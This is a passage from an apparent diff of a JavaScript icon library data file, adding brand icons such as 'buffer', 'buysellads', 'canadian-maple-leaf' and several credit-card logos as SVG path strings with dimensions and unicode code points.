48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z" ], + buffer: [ 448, 512, [], "f837", "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z" ], + buromobelexperte: [ 448, 512, [], "f37f", "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z" ], + "buy-n-large": [ 576, 512, [], "f8a6", "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z" ], + buysellads: [ 448, 512, [], "f20d", "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z" ], + "canadian-maple-leaf": [ 512, 512, [], "f785", "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z" ], + "cc-amazon-pay": [ 576, 512, [], "f42d", "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z" ], + "cc-amex": [ 576, 512, [], "f1f3", "M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z" ], + "cc-apple-pay": [ 576, 512, [], "f416", "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z" ], + "cc-diners-club": [ 576, 512, [], "f24c", "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z" ], + "cc-discover": [ 576, 512, [], "f1f2", "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z" ], + "cc-jcb": [ 576, 512, [], "f24b", "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z" ], + "cc-mastercard": [ 576, 512, [], "f1f1", "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z" ], + "cc-paypal": [ 576, 512, [], "f1f4", "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 